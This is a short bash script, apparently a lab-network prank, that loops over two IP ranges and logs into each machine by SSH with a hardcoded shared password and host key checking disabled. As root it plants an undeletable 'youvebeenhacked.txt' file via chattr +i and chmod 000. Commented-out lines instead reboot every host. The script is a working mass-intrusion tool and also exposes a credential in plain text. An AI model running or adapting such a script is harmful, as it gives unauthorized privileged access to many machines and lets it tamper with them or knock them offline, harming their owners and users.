Copy a file to other systems on the network which cannot be deleted by them directly

copyImmutableFile.sh

#!/bin/bash
USERNAME=sem6c
HOST="172.1.6."
#SCRIPT="echo aristotle | sudo -S reboot"
#SCRIPT="echo aristotle | sudo -S touch /home/sem6c/Desktop/youvebeenhacked.txt"
SCRIPT="touch /home/sem6c/Desktop/youvebeenhacked.txt; echo aristotle | sudo -S chattr +i /home/sem6c/Desktop/youvebeenhacked.txt; sudo chmod 000 /home/sem6c/Desktop/youvebeenhacked.txt"
for i in {40..127} ; do
    sshpass -p"aristotle" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=2 ${USERNAME}@${HOST}$i "${SCRIPT}"
done
for i in {129..150} ; do
    sshpass -p"aristotle" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=2 ${USERNAME}@${HOST}$i "${SCRIPT}"
done